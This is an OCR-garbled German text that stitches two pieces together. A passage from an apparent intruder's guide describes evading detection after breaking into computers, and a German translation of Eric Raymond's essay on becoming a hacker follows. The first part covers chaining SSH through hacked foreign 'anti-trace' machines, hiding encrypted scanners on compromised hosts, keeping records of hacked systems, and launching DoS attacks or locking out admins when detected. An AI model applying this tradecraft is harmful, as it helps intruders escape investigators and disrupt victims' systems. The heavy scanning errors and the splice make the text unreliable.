durch ei nfaches Raw Readi ng oder Magnetic Force Mcroscopy (MFM o. ae
wi eder hergestellt werden koennen, und vergew ssern uns, dass wir in den
Hone-Direc., in denen wir rungewrschtelt haben, keine konpronitierenden
Files hinterlassen
Mt Sicherheit koennte noch einiges verbessert werden, versuch's und
entwi ckel so deinen eigenen Style. Lege dir ein Art Datenbank nit allen
noeti gen Informati on ueber dei ne gehackten Rechner an sonst verlierst du
i rgendwann den Ueberblick (natuerlich encrypted).

Per soenl i che Sicherheit
Es ist natuerlich klar, dass du deine Daten auf der HD nmit CFS bzw. SFS
und deine E-Mail mt PGP verschluesselts, Randi sks benutzt, Backups
dei ner wichtigsten Daten auf Tape/ CDs ni cht zuhause | agerst, deinen real en
Nanmen nicht weitergi bst usw. .. dieser Kramsoll nicht Bestandteil dieses
Abschnitts sein, ich noechte |ieber ueber eine sichere Konfiguration
sprechen, die dich bei mHacken schuetzt und vorwarnt wenn dich jemand
verfolgt. Ich werde hier die Methode beschrei ben, die ich persoenlich
anwende. Al's Ei nwahltpunkt dient nir eine grosse Uni mt vielen Usern oder
ein grosser ISP. Ich verwende PPP statt nornmal e Term nal progranme um ei ne
groessere Kontroll e ueber neine Verbi ndung zu haben und weil es vom Vortei
i st ueber eine Leitung nehrere Sessions - Telnet, FTP - laufen zu | assen
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Ei n kl ei nerer Rechner dient mr als Firewall und Router, ich baue die PPP-
Ver bi ndung zu nei nem Ei nwahl punkt auf und ueberwache all e ei ngehenden
Pakete. Desweiteren stelle ich mit SSH ei ne Connection zum Ei nwahl rechner
her um periodi sch alle eingel oggten User und Netzwerkverbi ndungen zu
verfol gen (was natuerlich nur funktioniert, wenn der Ei nwahlrechner eine
Uni x- Maschine ist und kein Term nal server o.ae.). Es ist sehr interessant
zu sehen, was ein Adnin alles nacht, wenn er nmerkt, dass etwas nicht mt
rechten Di ngen auf seiner Maschine vorgeht. Sobald mr sol che

Sondi erungen/ Unt er suchungen auffallen breche ich die Verbindung sofort ab
falls ich mich aber gerade in einer kritischen Lage befinde nuss ich DoS-

Attacken benutzen oder den Admi n aussperren um seine Arbeit zu verl angsanen

bzw. zu verhindern. Auf dem Ei nwahl rechner ist es nicht noetig seine
CGegenwart zu verschleiern, es ist besser unauffaellig in der Msse
unt er zut auchen al s irgenwel che Logs zu nani pulieren

Der zweite, groessere Rechner ist neine Wrkstation, von hier aus baue ich

ei ne SSH Ver bi ndung zum ersten Anti-Trace Rechner auf. Dieser Anti-Trace
Rechner wechselt regel maessig, liegt imAusland und ich hab' volle
Kontroll e ueber ihn. Von hier aus gehe ich ueber ein weiteren Anti-Trace
Rechner zu mei nem Hacki ng- Rechner; auch hier habe ich natuerlich “root” -
Rechte, der zweite AT-Rechner ist nur ein einfacher TCP-Rel ay, damt
erspare ich mr den Stress mt den Logfiles etc. Vom Hacki ng- Rechner gehe
ich in sehr sichere Domai ns oder hacke von hier aus neue Netzwerke (es
exi stieren sel bstverstaendlich mehrere dieser Rechner, die zudem

unr egel naessi g gewechselt werden). Zum Scannen benutze ich ei nen eigens
daf uer gehackten Rechner, die Scanner sind hier alle gut versteckt und
zusaetzlich mt 3DES verschluesselt. Die verschluesselten SSH Verbi ndung
sind noetig, damt die Adnins/Bullen nicht neine Aktivitaeten am

Ei nwahl punkt (oder sonstwo) mtschnei den koennen. Falls du nur einen
Rechner zur Verfuehgung hast, dann kannst du dich natuerlich auch nmit der
Firewal | von Linux/FreeBSD OQpenBSD schuetzen. Es ist jedoch konpfortabler
di e Ver bi ndung ueber einen speziellen Conputer zu beobachten (ich weiss
nicht inw efern Linux und Co. einen zweiten Mnitor an ei nem Rechner
unterschtuetzt). Zusaetzlich solltest du noch dei nen Kernel patchen, damt
er dir mehr infornmationen ueber eingehende Pakete liefert, somt bist du
der Lage DoS Attacken, Source-Routing Angriffe, Traceroutes etc und ihre
Her kunft zu erkennen. Wchtige Links

http: 77T 3wt . base. org/i [die THC Hauptseite - unbedi ngt besuchen! ;-) Hier

n
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http://www.false.com/security
http://www.insecurity.org/nmap
http://r3wt.base.org/
http://www.secunet.com/
http://geek-girl.com/bugtraq
http://rootshell.com/
http://rootshell.com/doc
http://www.sparc.com/charles/security.html
http://command.com.inter.net/~sod/
http://www.phrack.com/
http://www.cs.purdue.edu/coast/
http://www.pilot.net/security-guide.html
http://underground.org/
http://www.l0pht.com/
http://www.infonexus.com/
http://www.cert.org/
http://www.cert.dfn.de/

WAs i st uberhaupt ein Hacker?

Wenn du aber wissen nmbchtest, wie man ein Hacker wird, dann sind nur zwei
Sachen wirklich wichtig. Zum einen gi bt eine Genei nschaft, bestehend aus
Programm erern und Net zwer k-"Magi ern", deren Wirzeln zurick bis in die Zeit
der ersten Mniconputer, nmit Rechenzeitaufteilung und den frihesten ARPA-
Net z- Ver suchen zuriick reichen. Die Mtglieder dieser Kultur schufen den
Begriff "Hacker". Hacker bauten das Internet, Hacker machten das UN X
Betri ebssystem zu dem was es heute ist, Hacker betrei ben das Usenet,
Hacker brachten das Wrld Wde Wb zum Laufen, Hacker taten noch viel nehr
Wenn du ein Teil dieser Kultur bist, wenn du zu i hrem Sein und ihrer

Ent wi ckl ung bei getragen hast, andere Mtglieder wissen wer du bist und dich
ei nen Hacker nennen, erst dann bist du auch wirklich ein Hacker. Die
Hacker - Gedankenei nst el | ung auf der anderen Seite ist nicht beschrankt auf
di e Sof t war ehacker - Genrei nschaft. Es gi bt Mei nungen, welche die Haltung der
Hacker auf andere Dinge, wie Elektroni k oder Miusik - eigentlich auf die
hochste Stufe des Konnens jeder Kunst oder Wssenschaft - Ubertragen

Sof tware - Hacker erkennen di ese verwandten Seel en an und nennen sie

gel egentlich ebenfalls "Hacker", ja es gibt sogar Stimen, die sagen, die
Ei nstellung der Software - Hacker ist absol ut unabhdngig von demjeweiligen
Medi um nit dem sich der Hacker beschaftigt. In dem Rest dieses Textes
wol l en wir uns jedoch auf die Eigenschaften und Einstellungen der

Sof t war ehacker und ihre Traditionen konzentrieren, welche den Begriff
Hacker ins Leben rief. Es gibt noch eine andere Guppe, die sich |autstark
al s Hacker bezeichnet, diesen Namen aber in keinster Wise verdient. Es
sind Menschen (neist pubertierende nménnliche Wsen), welche einen Spal
daran haben, in Conputer einzubrechen und das Tel efonnetz zu zerstoéren
Echt e Hacker nennen diese Leute "Cracker" und wollen nit ihnen nichts zu
tun haben. Wrkliche Hacker halten Cracker fur ein faules,
unverantwortliches und ni cht besonders schl aues Pack, denn genauso wenig
wi e man durch das Knacken von Sicherheitscodes ein Hacker wird, wird nman
durch das KurzschlielRen eines Autos zu ei nem KFZ - Mechani ker

Ungl tckl i cherwei se sind viele Journalisten und Schrei ber darauf verfallen
das Wrt Hacker als Beschrei bung von Cracker zu verwenden; dies verargert

echte Hacker ungenein... Der grundl egende Unterschied ist dieser: Hacker
bauen Di nge auf, Cracker zerstoéren sie. Wenn du ein Hacker werden willst,
lies weiter. Wenn du aber ein Cracker werden willst, geh, lies die

Newsgroup alt.2600 und bereite dich darauf vor finf bis zehn Jahre i m Knast
zu verbringen, nachdem du herausgefunden hast, daB du doch gar nicht so
schlau bist, wie du gedacht hast. Und dies ist alles, was ich Uber Cracker
zu sagen habe! DI E HACKER - EI NSTELLUNG Hacker | dsen Probl eme und bauen

D nge auf, sie glauben an Freiheit und freiwillige, gegenseitige Hlfe. Um
al s Hacker akzeptiert zu werden, nufdt du dich verhalten als hattest du

di ese Einstellung. Umdich aber so zu verhalten, als hattest du diese

Ei nstellung, nmu3t du wirklich an sie glauben. Wenn du nun aber gl aubst, die
Hacker - Ei nstel lung sei der Schlussel zu deiner Akzeptanz durch die
Geneinschaft, liegst du falsch. Ein Mensch zu werden, der diese

Ei genschaften gl aubt und verinnerlicht hat, ist wichtig fir dich sel bst,
sie helfen dir, leichter zu lernen und halten dich notiviert. Genau wie in
all en Kinsten ist es ameffektivsten das Denken der Meister zu imtieren -
ni cht nur von der Wssensseite, sondern auch von der enotionalen. 1. Die
Welt ist voll von faszinierenden Problenmen, die alle nur darauf warten,

gel 6st zu werden. Ein Hacker zu sein, bedeutet jede Menge Spal}, aber es ist
eine Art von SpalR, die viel Anstrengung erfordert. Anstrengung zu

vol | bri ngen, setzt Mdtivation voraus. Erfol greiche Athleten bekomren ihre
Motivation aus einer Art korperlichen Hochgefihls, wenn sie ihre Korper
traini eren oder wenn sie sich bis Uber ihre Leistungsgrenzen hinaus
verausgaben. So ahnlich geht es dem Hacker, er nmuf3 ei ne grundl egende
Erregung verspiren, wann imrer er ein Problem]| 6sen, seine Fahigkeiten
erweitern oder seinen CGeist trainieren konnte. Wenn du kei ne Person bist,
di e schon von Natur aus so fuhlt, rmuBt du eben eine werden, wenn du ein
Hacker werden willst, denn sonst wirst du schnell benerken, daR deine
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Hacker - Energi e von Abl enkungen wi e Sex, Geld oder sozial er Anerkennung
verbraucht wird. (Du nuf3t auflerdem eine Art von d auben in deine eigene

Ler nf &hi gkeit entw ckeln - einen d auben, der dich dazu bringt, dall auch
wenn du kei nen bl assen Schi nmer haben solltest, wie du das gesante Problem
| 6sen kannst, wenn du nur ein kleines Stiuck |6st und davon | ernst, du genug
gel ernt haben wirst um das nachste Stuckchen zu | 6sen -- und so weiter, bis
du es irgendwann geschafft hast.) 2. N enmand sollte jemal s gezwungen sein,
ein Problem zweimal zu | 6sen. Kreative Kopfe sind wertvoll und selten. Sie
sollten nicht darauf verschwendet werden, das Rad noch einmal zu erfinden
wenn doch so vi el e wunder bare neue Probl ene darauf warten gel 6st zu werden.
Un wi e ein Hacker zu handel n, nmuB3t du gl auben, daR die Zeit, die einem
Hacker zum Denken zur Verfigung steht, kostbar ist - so kostbar, dalR es

bei nahe eine noralische Pflicht ist deine Informationen zu teilen, Problene
zu | 6sen und di e Losung weiterzugeben, damt andere Hacker sich neuen

Pr obl emen zuwenden kénnen, anstatt andauernd bereits gel 6sten wi eder
aufrollen zu nissen. (Das bedeutet nicht, daB du alle Errungenschaften

dei ner Kreativitat weggeben mufit, obwohl denjenigen, die dies tun, der
héchst e Respekt ent gegengebracht wird. Es ist mt den Hackerwerten

verei nbar, genug zu verkaufen, umsich nit Conputern, Essen und einem Dach
Uber dem Kopf zu versorgen. Es ist vertretbar Hacker-Fahi gkeiten

ei nzusetzen, umeine Famlie zu versorgen oder sogar umreich zu werden,

sol ange du nie vergi Bt, daR du ein Hacker bist, wihrend du all dies tust.)
3. Langeweil e und Schufterei sind bosartig. Hacker (generell alle kreativen
Leute) sollten niemals gelangweilt sein oder dazu gendtigt sein
stunpfsinni ge, sich standig w ederhol ende Arbeit zu tun, weil dies
natiurlich bedeutet, daR sie nicht das tun, was nur sie tun kdénnen - namich
neue Probl enme | 6sen. Diese Verschwendung schadet allen. A so sind
Langewei | e und Pl ackerei nicht nur einfach unangenehm sondern nehr oder
weni ger bosartig. Unsich wie ein Hacker zu benehnen, nmuf3t du dies stark
genug gl auben, umdie | angweiligen Arbeiten so weit w e nbglich

wegaut onati si eren zu wol l en, nicht nur fir dich sel bst, sondern auch fur
al | e anderen Menschen (besonders andere Hacker). (Es gi bt eine Ausnahne von
di eser Regel . Hacker tun nmanchnal Sachen, wel che auf den ersten Blick

Il angwei | i g und stunpfsinnig erscheinen, aber in Wrklichkeit dazu dienen zu
Uben, den Kopf frei zu kriegen, eine Fahigkeit zu erwerben oder eine

besti mte Erfahrung zu erl angen, welche andersartig nicht erreicht werden
kann. Aber dies ist absolut freiwillig - niemand, der bei klarem Verstand
ist, sollte jemals zu Langeweil|l e gezwungen werden.) 4. Freiheit ist gut.
Hacker sind von Natur aus antiautoritar veranlagt. Jeder, der dir Befehle
geben kann, kann di ch auch davon abhalten das Problem zu | 6sen, das dich
gerade fasziniert - und wird - dies ist einfach die Art, nach der
autoritare CGehirne arbeiten - ein paar furchtbar bl ddsi nnige G inde finden
damt er dies auch tun kann. Autoritare Einstellungen nissen bekanpft
werden, wo i mer sie gefunden werden, damit sie nicht dich und andere
Hacker ersticken. (Dies ist nicht das selbe, wie alle Autoritaten zu
bekanpfen. Kinder niissen angel eitet werden und Krininelle aufgehalten
werden. Ein Hacker wird daridber hinaus nanchen Arten von Autorit &t
zustimen und sie akzeptieren, wenn er dadurch etwas bekommt, was fir ihn
wertvoller ist, als die Zeit, die er nmit dem Befol gen der Befehle
verbringt. Aber dies ist ein begrenzter, beabsichtigter Handel; aber die
Art der personlichen Unterwerfung, die Autoritaten verlangen, kann nan
nicht nmehr als ein Angebot betrachten.) Autoritat gedei ht auf dem Boden der
Zensur und Gehei mhaltung, sie miBtraut freiwlliger Zusamrenarbeit und
freiheitlicher Aufteilung der Informationen - die einzige "Zusanmenarbeit",
die sie gerne sehen ist diese, die unter ihrer Kontrolle steht. Wnn du

al so wie ein Hacker handeln willst, nmuf3t du eine instinktive Feindschaft
gegeniber Zensur, Gehei mhaltung und dem Ei nsatz von Gewalt oder Betrug
entwi ckel n, und du nmuf3t bereit sein, nach di esem d auben zu handeln. 5

Ei nstellung ist kein Ersatz fidr Konnen und Wssen. Umein Hacker zu sein
mult du di ese Einstellung, wenigstens groitenteils, teilen. Aber eine

Ei nstel l ung nur zu Ubernehnen nacht di ch genausoweni g zu ei nem Hacker, w e
sie dich zu ei nem Rock Star oder hervorragenden Athleten machen wird. Um
ein Hacker zu werden, benétigst du Intelligenz, Ubung, Hi ngabe, und du
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wirst viel harte Arbeit vor dir haben. Deshalb nuf3t du | ernen, frenden

Ei nstellung zu m Btrauen und Konpetenz jedweder Art zu respektieren. Hacker
werden es nicht zul assen, dalR Angeber ihre Zeit verschwenden, aber sie
verehren Koénnen - besonders Konpetenz i m Hacken, aber Konpetenz generel

i st auch gut. Konpetenz in gefragten Fahi gkeiten, die nur wenige
beherrschen i st besonders gut, und Konpetenz in gefragten Fahi gkeiten, die
geistige Klarheit, Geschicklichkeit und Konzentration erfordern, ist das
absol ut Beste. Wenn du Kénnen und W ssen schatzt, wirst du Freude daran
haben, sie in dir selbst zu entwickeln - die harte Arbeit und di e H ngabe
werden von solch einer Intensitat sein, dal sie eher einem Spiel &hneln als
Schufterei. Dies ist absolut Uberlebensw chtig, wenn du ein Hacker werden
willst. GRUNDLEGENDE HACKER - FAHI GKEI TEN Di e Hackereinstellung ist

wi chti g, aber die Hacker-Fahi gkeiten sind es noch viel nmehr. Einstellung
ist kein Ersatz fur Kénnen, und es gibt einen Samm ung von Fahi gkeiten

wel che du unbedi ngt haben muB3t, bevor irgendein Hacker davon traunen wird,
di ch ei nen Hacker zu nennen. Di ese Wrkzeugki ste des Hackers verandert sich
nur | angsam Der Wandel findet in dem MaRe statt, indem der technische
Fortschritt neue Fahi gkeiten erfordert und alte Uberflissig macht. Zum

Bei spi el, ist Maschi nensprachprogrammi erung friher eine Bedi ngung gewesen,
wahrend HTM. bis vor kurzem keine Rolle spielte. Aber Ende 1996 kann nan
mt ziemicher Kl arheit die fol genden Punkte hinzuzahlen: 1. Lerne zu
programm eren. Dies ist natirlich die wi chtigste Hackerfahigkeit. 1997 ist
di e Sprache, die du auf jeden Fall |ernen mu3t, C (obwohl es nicht
diejenige sein sollte, die du als erstes lernst). Aber du bist einfach kein
Hacker, oder eben hauptsachlich nur ein Progranmm erer, wenn du nur eine
Sprache kennst - du nuf3t | ernen, Problene des Progranm erens in einer

al | genmei nen Form zu betrachten, unabhéngi g von der jeweiligen Ursetzung in
di e verschi edenen Sprachen. Um ein echter Hacker zu werden, muf3t du an den
Punkt gel angen, wo du ei ne neue Sprache innerhalb von Tagen | ernen kannst,
weil du den Inhalt des Handbuchs direkt zu demin Bezi ehung setzen kannst,
was du bereits weifl3t. Dies bedeutet, du solltest viele verschi edene

Anséat ze, sprich Programm ersprachen, dir zu eigen nachen. Neben C, solltest
du mi ndestens LISP und Perl |ernen (Java pocht hart auf das Recht hier
genannt zu werden). Neben ihrer Bedeutung als die wichtigsten

Hacker sprachen stell en di ese Progranm ersprachen sehr differenzierte
Annaherungen an die Programr erung da. Es wird dich auf viele, wertvolle
Arten bereichern. Ich kann kei ne genaue und konpl ette Beschrei bung angeben
wie man |lernt zu progranm eren - dazu ist diese Fahigkeit zu konpl ex. Aber
ich kann dir sagen, daR du mt Bichern und Kursen nicht sehr weit konmen
wirst (viele, vielleicht die neisten Hacker haben sich alles sel bst

bei gebracht). Was du tun nuB3t, ist (a) Programm Code | esen und (b)

Programm Code schrei ben. Programm eren lernen ist, wie in einer natirlichen
Sprache gut schreiben zu | ernen. Der beste Weg ist Kode zu | esen, der von
Mei stern der Programm erung geschrieben wiurde, und dann etwas sel ber zu
schrei ben, wi eder jede Menge zu |l esen und ein biBchen zu schrei ben, w eder
| esen und di esmal nehr zu schreiben... und dies alles so | ange zu

wi eder hol en, bis du beginnst Stéarken und Effizienz in deinen Arbeiten zu
entwi ckel n. Guten Programmkode zu finden, der sich zum Lesen eignet, war
friuher ziemich schwer, weil es einfach so wenig grofRe Progranme als

Quel ltext fur G unschnéabel zum Lesen und Herunbasteln gab. Dies hat sich
dramati sch gedndert, kostenl ose Software, kostenlose Progranmi erwerkzeuge
und kostenl ose Betriebssystene (alles als Quelltext verfugbar und alles von
Hackern geschri eben) ist jetzt weitgehend verfiugbar. Was uns nahtlos zu
unserem nachsten Thena bringt... 2. Hol dir eins der kostenl osen UN Xe und
lerne wie man es benutzt und betreibt. Ich nehme an, du hast einen PC oder
kannst auf einen zugreifen (diese Kids von heute haben es so einfach :-)).
Der einzige wichtige Schritt, den jeder Newbie in Ri chtung des Erwerbes von
Hacker f &hi gkei ten té&tigen kann, ist es sich eine Kopie von Linux oder von
ei nem der kostenl osen BSD-UNI Xe zu besorgen, diese auf einem PC zu
installieren und sie zu starten. Klar, es gibt noch andere Betriebssystene
in der Welt auBer UNI X. Aber sie werden in binarer Form ausgeliefert - du
kannst al so den Kode weder | esen noch verandern. Unter DOS, W ndows oder
MacOS hacken zu lernen ist, wie wenn du nmit einer Zwangsjacke Ballett
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tanzen lernen sollst. AuBerdemist UN X das Betriebssystens des Internets.
Wahrend du das Internet benutzen kannst ohne UNI X zu kennen, kann du kein

I nt er net - Hacker sein ohne UNI X zu verstehen. Dies ist der Gund warumdie
Hacker - Genei nde heut zutage stark UN X-zentriert ist. (Dies war nicht inmer
so, und rmanche Hacker aus den alten Zeiten sind ganz und gar nicht

gl Gcklich danmit, aber das Zusanmmenspi el zw schen UNI X und dem I nt er net
scheint so stark geworden zu sein, dalR sogar M crosofts Miskel sie nicht zu
trennen vernmag.) Um nmehr dber UNI X zu lernen |ield The Logi nataka. Wenn du
Li nux haben nbchtest, lies Wiere to get LINUX. 3. Lerne das Wb zu benut zen
und HTM.- Kode zu schrei ben. Die neisten Dinge, die die Hacker-Kultur
geschaffen hat, tun ihre Arbeit auRerhalb der Sichtweite des

Nor mal st erbl i chen, hinter den Mauern von Fabriken, Universitaten, Blros
ohne Ausw rkung auf das Leben der N chthacker. Das Wb ist die eine, grole
Ausnahme, das groflle, gl d&nzende Hackerspi el zeug, dessen weltverandernde

Ei genschaften sogar Politiker zugeben. Allein wegen di eses G undes (und
wegen vi el en anderen noch dazu) nuf3t du lernen, wie man nmt dem Wb ungeht.
Das hei 3t jetzt nicht, dal du nur einen Browser bedi enen kdnnen muf3t (das
kann jeder), sondern, dalR du HTM., die Préasentationssprache des Wbs,

schrei ben lernst. Wenn du kei ne Ahnung hast wie man progranmiert, wird dir
das Schrei ben von HTML ein paar geistige Verhaltenswei sen beibringen, die
dir beimLernen einer Progranm ersprache hel fen werden. So baue dir al so
dei ne ei gene Homepage. Aber einfach nur eine Honepage zu haben, ist nicht
ei nmal anndhernd genug, umdich zu ei nem Hacker zu nmachen. Es gi bt Tausende
Honepages im Web. Die neisten sind sinnloser, gehaltloser Dreck -
zugegeben, sehr schicker Dreck, aber doch nichts anderes als Dreck (nehr
Uber dieses Thena gibt's auf der The HTML Hell Page). Um betrachtenswert zu
sein mul3 deine Seite Inhalt haben - sie muf3 interessant und/oder nutzlich
fiar andere Hacker sein, was uns auch schon w eder zum nachsten Thema
bringt... STATUS IN DER HACKER - CEMElI NSCHAFT We in den neisten Kulturen
ohne Gel dwirtschaft, basiert die Hackergenei nde auf dem Ruf und Ansehen der
Mtglieder. Du versuchst interessante Problene zu | 6sen, aber w e

i nteressant und wi e gut dei ne Losungen wirklich sind, entscheiden nur

di ej enigen, die dir ebenbirtig oder Uberlegen sind. Folglich, wenn du das
Hacker - Spi el spielst, wirst du lernen dich hauptsachlich auf G unde der
Achtung und der Haltung der anderen Hacker gegeniiber dei nen Fertigkeiten

ei nzuschat zen (, deshal b bi st du auch kei n Hacker, sol ange andere Hacker

di ch nicht so nennen). Diese Tatsache wird durch das Bild des Hacker als

Ei nzel gédngers und dem Hacker-Tabu, dall das Ego oder Wertsché&tzung von
anderen Menschen uberhaupt in irgendei ner Wise einen Ei nfluR auf die
Motivation eines Einzel nen haben kénnten (nittlerweil e abflauend, aber

i mmer noch existent), getribt. Im Fachjargon ist di e Hacker-Genei nde das,
was di e Antropol ogen eine "gift culture"” ( Schenkkul tur ) nennen. Status
und Aner kennung kénnen in ihr weder durch Beherrschung von anderen
Menschen, noch durch Schdnheit, Besitz usw. erreicht werden, sondern nur
indemman Dinge freiwillig weggi bt. Genaugenonmen, indem du deine Zeit,
Kreativitat und Ergebni sse dei ner Fahigkeiten mt anderen Menschen teil st.
Hi er eine Liste der 5 Dinge, die du tun kannst, umdir den Respekt der
Hacker zu verdienen: 1. Schreibe Software, die jeder kostenlos benutzen
kann. Der erste (, zentralste und traditionellste) Punkt besteht darin,
Programre zu schrei ben, wel che andere Hacker als nitzlich und/ oder

unt er hal t sam ansehen und di ese der gesanten Hacker-Kul tur zur Verfligung zu
stellen. Die hochst verehrten Hal bgétter der Hackergenei nde sind

di ej eni gen, die groRe und fahi ge Programme geschri eben haben, wel che ein
weitverbreitetes Bedurfnis decken, und sie danach zur kostenl osen Nutzung
freigestellt haben. 2. Hi|If dabei, kostenlose Software zu testen und Fehl er
zu finden Man kann auch hel fen, indem nman Fehler in kostenloser Software
sucht. In dieser unvoll konmenen Welt verbringen wir zwangsl aufig die neiste
Zeit in der Fehlersuche. Das ist der Gund, warum jeder Autor von
kost enl oser Software, der noch bei Sinnen ist, dir bestéatigen wird, daR ein
guter Beta-Tester (, der wei B3, wie nan Synptone prazi se beschreibt,

Fehl erquel l en | okalisiert, Fehler einer frihen Version toleriert und bereit
ist, ein paar Test-Durchl &ufe zu nachen) nehr wert ist als sein Gewicht in
ol d auf gewogen. Sogar ein einzel ner Beta-Tester ist manchmal genug um
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ei nen erschoépfenden, |angatm gen Al ptraumin eine |ehrreiche Fehlersuche zu
verwandel n, die kaum noch ein Argernis darstellt. Wenn du ein Newbie bist,
versuche, ein in der Entw cklung steckendes Progranm zu finden, wel ches
dich interessiert, und versuche ein guter Beta-Tester zu sein. Es ist ein
nat irlicher ProzeR vom Testen ei nes Programres zum Dur charbeiten eines
Programms zum Ver dndern ei nes Programmes. Du wirst eine Menge daraus |ernen
und j ede Menge gutes Karma bei den Leuten erzeugen, denen du gehol fen hast
und die dir auch helfen werden. 3. Veroffentliche nitzliche Informationen
Ei ne andere gute Sache ist es, interessante und nltzliche |Informationen zu
samrel n und diese in Formvon Wb-Seiten oder FAQ (Frequent Asked
Questions - Haufig gestellte Frage) verfigbar zu machen. D ejeni gen Hacker
di e groRe, technische FAQs warten und erweitern sind fast so hoch angesehen
Wi e Freeware-Autoren. 4. Hilf mt die Gundstruktur amLeben zu halten D e
Hacker Kultur (und die technische Witerentw cklung des Internets

i nshesondere) |ebt von der Arbeit von Freiwilligen. Es gibt einen Haufen
unr thm i cher Arbeit, die getan werden nuB3, damt alles weiter gehen kann -
Leiten von e-Mil-Listen, Mderieren von Newsgroups, Warten von grof3en

Sof t war e- Archi ven, Entwi ckel n von RFC und anderen techni schen Standarts,
sind nur di e bekanntesten Bespiele. Leuten, die diese Art von Arbeit gut
machen, wird viel Respekt entgegengebracht, weil jeder wei B3, daB diese
Arbeiten Zeit in groBen Massen verschlingen und wohl kaum so viel Spal
machen, wie mt Programkode zu spielen. Diese Arbeit zu tun erfordert viel
echte Hingabe. 5. HiIf der Hacker Kultur selbst. Schlief3lich und endlich
kann du hel fen, indem du di e Hackergesel |l schaft propagierst (indemdu z.B
genaue Anl eitungen schreibst, wie man ein Hacker werden kann :-)). Dies ist
etwas, zu was du erst in der Lage sein wirst, wenn du schon eine Wile
dabei und bekannt fir eine der ersten vier Dinge gewrden bist. D e
Hacker kul tur kennt keine Anfihrer, aber es gibt Helden der Kultur
Geschi cht sschrei ber und Sprecher. Wenn du | ange genug i m Schit zengr aben

| agst, nag es sein, daR du in eine dieser Positionen hinein wachst.

Achtung: Hacker m RBtrauen zu viel offensichtlichem Sel bst bewul3tsein be

i hren (beren, weshalb es geféahrlich ist offenkundig nach di esem Ruhm zu
streben. Anstatt dafir zu kanpfen, solltest du dich lieber so anstellen

dal sie dir ganz von selbst in den SchofR fallt, und dann sei beschei den und
dankbar fir deinen Status. DIE HACKER / NERD VERBI NDUNG Al | er | andl aufi gen
Mei nung zum Trotz muBBt du kein Nerd sein, umein Hacker werden zu kénnen
(Annerkung des Ubersetzers: Nerd ist eine Art Conputer-Fanatiker, der sich
total von der Auflenwelt abschirm, Conputer-Freak ist vielleicht die beste
Ubersetzung). Naturlich kann es ziemich nitzlich sein, und viele Hacker
sind in der Tat Nerds. Ein sozialer Genzfall zu sein, kann dir hel fen

dich auf die wi chtigen D ngen wi e Hacken und Denken zu konzentrieren. Aus
di esem Grund haben vi el e Hacker die Bezeichnung 'Nerd' fur sich sel bst
angenommen oder benut zen sogar den noch harteren Begriff 'CGeek' w e eine
Art Auszeichnung - es bedeutet fiur sie oft die Unabhé&ngi gkeitserkl arung vom
sozialen Nornal bild der Alltagsgesellschaft. Besuche The Geek Page, um
genaueres zu erfahren. Wenn du es schaffst, dich genug aufs Hacken zu
konzentrieren, darin gut zu sein und auch noch ein nornal es Leben zu
fdhren, ist das natidrlich super. Dies ist heute viel einfacher als es war,
als ich ein Newbie war; die Alltagskultur ist heute viel freundlicher zu
Techni k-Nerds als sie es danals war. Es gi bt sogar ei ne steigende Anzah

von Menschen, die benerken, dal Hacker oft eine sehr gute Partie als

Fr eund/ Fr eundi n/ Ehef r au/ Ehemann abgeben. Mehr I nformationen gibt's hier
Grl's Guide to Geek Guys (Annerkung des Ubersetzers: deutsche Ubersetzung
auf rmei ner Homepage). Wenn du hacken nmbchtest, weil du kein Leben oder

kei nen Sinn imLeben hast, ist das auch in Ordnung - du wi rst wenigstens
ni e das Probl em haben, daB du dich nicht nmehr konzentrieren kannst.
Vielleicht wirst du spater dei nen Zugang zum Leben, vielleicht sogar durchs
Hacken, finden. ZUSATZLI CHE PUNKTE BETREFFEND DES STILS Nochmal, umein
Hacker zu sein, nuf3t du die Hacker CGedankenwelt betreten. Es gibt ein paar
Sachen, die du tun kannst, wenn du kei nen Zugang zu ei nem Conput er hast.
Sie sind kein Ersatz fir das Hacken (es gibt nichts, was wirklich ein
Ersatz ware) aber viele Hacker tun sie und haben das Gef ihl, dal diese

Di nge eine Art besitzen, die sie dem Hacken verwandt macht. Lies Science-
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Fi ction Bicher und besuche Science-Fiction Kongresse (ein guter Wg Hacker
und zukunftige Hacker zu treffen). Studiere die Zen Lehre und/oder |erne

ei ne Kanpfsportart (Die geistige Disziplin scheint in w chtigen Punkten
Uber ei nzusti nmen. ) Entwi ckl e ein anal yti sches Chr fur Misi k. Lerne
einzigartige Arten von Misi k einzuschéatzen. Lerne ein nusikalisches

I nstrument zu beherrschen oder wi e nman singt. Entw ckle Verstandnis fir
Wirtspiele.Lerne, in deiner Mittersprache sehr gut zu schreiben. (Eine
Uberraschende Zahl von Hackern, inklusive die Besten, die ich kenne, sind
féahi ge Schreiber.)Je nehr Dinge du von diesen bereits tust, desto

wahr schei nli cher ist es, daR du von Natur aus ein Hacker bist, oder dafur
veranl agt bist. Warum es gerade di ese Dinge sind, ist bis heute nicht genau
gekl art, aber sie scheinen mt einer Konbination aus Denkprozessen der
rechten und |inken Gehirnhalfte zu tun zu haben, welche wichtig zu sein
scheint (Hacker sind gezwungen sowohl | ogisch zu begrinden, also auch in
der Lage zu sein, aus der unnmittel baren Logi k der nonmentanen Betrachtung
des Probl ens auszuscheren). Schliefllich noch ein paar Dinge, welche du
nicht tun solltest: Benutze kei ne dunmen, grandi osen Benutzer- oder

Bi | dschi rmmanen. LaR dich nicht in FlameWars i m Usenet (generell nirgendwo)
verw ckel n. Nenne dich nicht 'Cyber Punker', und verschwende keine Zeit mt
i rgend jemanden, der sich so nennt. Schrei be keine e-Miils oder News-
Beitrage, die voll von Rechtschrei bfehlern oder schlechter Gamatik

si nd. (Annerkung des Ubersetzers: Tschul digung...)Das Einzige was man dir
zuteil machen wird, ist Spott, wenn du dich so verhaltst. Hacker vergessen
nicht so schnell - es kdnnte Jahre dauern, bis du es w eder ausgeglichen
hast. ZUSATZLI CHE QUELLEN Uberset zungen di eses Textes sind in Englisch
Franzdsi sch, Spani sch und Japani sch verfigbar. D e Logi nataka bietet einige
Sti chpunkte tUber das richtige Erlernen und die Einstellung eines Unix
Hackers. 1ch habe auRerdem A brief History of Hackerdom geschrieben. Peter
Seebach wartet ein exzellentes Hacker FAQ fur Manager, die endlich nma

wi ssen wollten, wie sie nmt Hacker ungehen sollten. Ich habe einen Aufsatz
geschrieben, Die Kathedrale und der Basar, welcher die w chtigsten Punkte
der Lebensweise der Linux - Kultur erklart. Er ist auf neiner Aufsatz-Seite
(*witings page*) zu finden. HAUFI G GESTELLTE FRAGEN F Wrst du mir

bei bringen, wie man hackt? A Seit der ersten Verodffentlichung dieser Seite
